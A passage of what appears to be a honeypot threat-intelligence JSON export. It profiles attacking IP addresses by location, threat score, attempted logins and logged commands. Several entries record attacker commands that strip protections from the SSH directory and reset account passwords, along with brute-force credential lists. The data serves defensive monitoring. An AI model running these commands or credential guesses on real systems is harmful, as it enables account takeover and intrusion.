      "last_seen": "2026-05-22T17:51:27.655Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user15",
        "test1"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "Password.",
        "Welcome@2026",
        "Yy123456",
        "ubuntu@123",
        "user15",
        "vps123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"user15\\nUMNAQtOPs72z\\nUMNAQtOPs72z\\n\"|passwd",
        "echo -e \"user15\\nUMNAQtOPs72z\\nUMNAQtOPs72z\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Kuwait",
      "country_code": "KW",
      "city": "As S\u0101lim\u012byah",
      "asn": 29357,
      "as_org": "National Mobile Telecommunications Company K.s.c.p.",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T17:01:34.068000+00:00",
        "last_seen_30d": "2026-05-22T17:52:31.840000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 103,
        "Suricata": 26
      }
    },
    "34.38.125.46": {
      "attack_count": 74,
      "first_seen": "2026-05-26T03:45:57.779Z",
      "last_seen": "2026-05-26T03:46:49.060Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36",
        "b'\\xc6\\xafI\\x8bN\\xf3J\\x0bU\\xb1\\x11\\x98\\xf0\\x92AirlJ\\xeb\\xa4=\\xb6$\\xf6\\x1c\\xbf\\xb4+.Z\\xea\\x18\"!\\xd2b\\x93'"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 5979",
        "Host: 172.105.186.117:23",
        "b'\\x1c=\\x1bx\\xce\\xa1\\xe9\\x1e'"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T03:45:57.779000+00:00",
        "last_seen_30d": "2026-05-26T03:47:58.690000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 74,
        "Suricata": 42
      }
    },
    "124.121.31.25": {
      "attack_count": 68,
      "first_seen": "2026-05-04T00:26:25.750Z",
      "last_seen": "2026-05-04T01:03:27.368Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "alireza",
        "bitrix",
        "datauser",
        "frappe",
        "insserver",
        "otrs",
        "postgres",
        "testuser"
      ],
      "passwords_attempted": [
        "12345",
        "123qweasdzxc",
        "3245gs5662d34",
        "QNX",
        "admin",
        "alireza",
        "insserver",
        "newpassword",
        "password",
        "test#123",
        "test-123",
        "testuser123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Pak Kret",
      "asn": 17552,
      "as_org": "True Online",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:26:25.750000+00:00",
        "last_seen_30d": "2026-05-04T01:04:31.037000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 28
      }
    },
    "51.79.67.63": {
      "attack_count": 60,
      "first_seen": "2026-05-08T08:35:45.236Z",
      "last_seen": "2026-05-28T10:09:18.749Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 43.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:35:45.236000+00:00",
        "last_seen_30d": "2026-05-28T10:10:20.079000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 31
      }
    },
    "209.14.89.9": {
      "attack_count": 54,
      "first_seen": "2026-05-05T01:24:40.582Z",
      "last_seen": "2026-05-31T06:42:12.691Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 272786,
      "as_org": "X99 INTERNET",
      "threat_score": 52.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:24:40.582000+00:00",
        "last_seen_30d": "2026-05-31T06:43:19.619000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "175.107.205.239": {
      "attack_count": 50,
      "first_seen": "2026-05-12T18:45:42.207Z",
      "last_seen": "2026-05-12T18:51:06.437Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T18:45:42.207000+00:00",
        "last_seen_30d": "2026-05-12T18:52:13.865000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.72.89": {
      "attack_count": 50,
      "first_seen": "2026-05-05T12:59:08.169Z",
      "last_seen": "2026-05-05T13:04:32.658Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 59257,
      "as_org": "CMPak Limited",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T12:59:08.169000+00:00",
        "last_seen_30d": "2026-05-05T13:05:39.068000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "217.156.64.228": {
      "attack_count": 48,
      "first_seen": "2026-05-04T19:51:12.798Z",
      "last_seen": "2026-05-31T09:27:09.576Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Moldova",
      "country_code": "MD",
      "city": "Chisinau",
      "asn": 200019,
      "as_org": "Alexhost Srl",
      "threat_score": 52.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:51:12.798000+00:00",
        "last_seen_30d": "2026-05-31T09:28:18.918000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 24
      }
    },
    "72.255.19.176": {
      "attack_count": 48,
      "first_seen": "2026-05-09T09:29:27.742Z",
      "last_seen": "2026-05-09T09:34:39.221Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:29:27.742000+00:00",
        "last_seen_30d": "2026-05-09T09:35:48.099000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "72.255.59.168": {
      "attack_count": 48,
      "first_seen": "2026-05-02T10:11:22.185Z",
      "last_seen": "2026-05-02T10:17:07.663Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T10:11:22.185000+00:00",
        "last_seen_30d": "2026-05-02T10:18:11.311000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "5.161.147.167": {
      "attack_count": 30,
      "first_seen": "2026-05-04T19:50:01.406Z",
      "last_seen": "2026-05-22T09:11:23.516Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 213230,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 30.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:50:01.406000+00:00",
        "last_seen_30d": "2026-05-22T09:12:26.036000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "94.26.106.19": {
      "attack_count": 28,
      "first_seen": "2026-05-08T01:34:32.135Z",
      "last_seen": "2026-05-15T07:23:59.071Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "support",
        "ubnt"
      ],
      "passwords_attempted": [
        "123qaz",
        "root",
        "support",
        "ubnt"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.4,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:34:32.135000+00:00",
        "last_seen_30d": "2026-05-15T07:25:03.656000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 16
      }
    },
    "165.154.225.16": {
      "attack_count": 25,
      "first_seen": "2026-05-11T13:09:31.844Z",
      "last_seen": "2026-05-11T13:16:13.299Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T13:08:51.955000+00:00",
        "last_seen_30d": "2026-05-11T13:17:16.718000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 13
      }
    },
    "135.181.19.187": {
      "attack_count": 24,
      "first_seen": "2026-05-03T17:27:30.789Z",
      "last_seen": "2026-05-08T04:41:59.956Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:27:30.789000+00:00",
        "last_seen_30d": "2026-05-08T04:43:07.614000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 11
      }
    },
    "62.212.229.55": {
      "attack_count": 24,
      "first_seen": "2026-05-19T19:04:24.935Z",
      "last_seen": "2026-05-19T20:45:43.416Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Azerbaijan",
      "country_code": "AZ",
      "city": "Baku",
      "asn": 200446,
      "as_org": "SELNET LLC",
      "threat_score": 17.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:04:24.935000+00:00",
        "last_seen_30d": "2026-05-19T20:48:39.886000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 16
      }
    },
    "88.198.67.242": {
      "attack_count": 24,
      "first_seen": "2026-05-03T19:54:58.242Z",
      "last_seen": "2026-05-08T21:41:45.851Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T19:54:58.242000+00:00",
        "last_seen_30d": "2026-05-08T21:42:47.073000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "185.242.3.60": {
      "attack_count": 23,
      "first_seen": "2026-05-05T06:04:42.639Z",
      "last_seen": "2026-05-10T17:14:57.420Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "AdminGPON",
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "ALC#FGU",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 60223,
      "as_org": "Netiface Limited",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T06:04:42.639000+00:00",
        "last_seen_30d": "2026-05-11T00:05:55.447000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 15
      }
    },
    "95.215.32.18": {
      "attack_count": 21,
      "first_seen": "2026-05-06T11:28:19.330Z",
      "last_seen": "2026-05-10T22:46:29.705Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root",
        "AdminGPON"
      ],
      "passwords_attempted": [
        "root",
        "ALC#FGU"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 19318,
      "as_org": "Interserver, Inc",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T11:28:19.330000+00:00",
        "last_seen_30d": "2026-05-10T22:47:38.511000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 15,
        "Honeytrap": 2
      }
    },
    "34.156.179.148": {
      "attack_count": 20,
      "first_seen": "2026-05-28T06:16:20.840Z",
      "last_seen": "2026-05-28T06:16:59.737Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T06:16:20.840000+00:00",
        "last_seen_30d": "2026-05-28T06:18:01.406000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 12
      }
    },
    "185.38.148.2": {
      "attack_count": 18,
      "first_seen": "2026-05-16T17:55:36.513Z",
      "last_seen": "2026-05-18T16:39:14.130Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "P",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 66.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.3,
        "persistence": 20.8,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 340,
        "days_active_30d": 25,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T01:00:32.451000+00:00",
        "last_seen_30d": "2026-05-27T23:16:30.647000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 187,
        "Tanner": 132,
        "Cowrie": 18,
        "Honeytrap": 3
      }
    },
    "199.71.214.13": {
      "attack_count": 18,
      "first_seen": "2026-05-05T00:30:31.915Z",
      "last_seen": "2026-05-05T02:46:10.203Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 40676,
      "as_org": "Psychz Networks",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:30:31.915000+00:00",
        "last_seen_30d": "2026-05-05T02:47:12.846000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "78.47.4.5": {
      "attack_count": 18,
      "first_seen": "2026-05-19T17:16:36.278Z",
      "last_seen": "2026-05-31T14:31:32.131Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 36.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T17:16:36.278000+00:00",
        "last_seen_30d": "2026-05-31T14:32:35.709000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "119.167.163.77": {
      "attack_count": 16,
      "first_seen": "2026-05-17T19:45:27.736Z",
      "last_seen": "2026-05-17T19:49:35.832Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T19:45:27.736000+00:00",
        "last_seen_30d": "2026-05-17T19:50:40.700000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 7
      }
    },
    "14.18.88.70": {
      "attack_count": 15,
      "first_seen": "2026-05-05T22:12:08.902Z",
      "last_seen": "2026-05-05T22:42:13.042Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "deploy",
        "mongouser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123456qwerty",
        "2024",
        "mongouser123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58466,
      "as_org": "CHINANET Guangdong province network",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T22:12:08.902000+00:00",
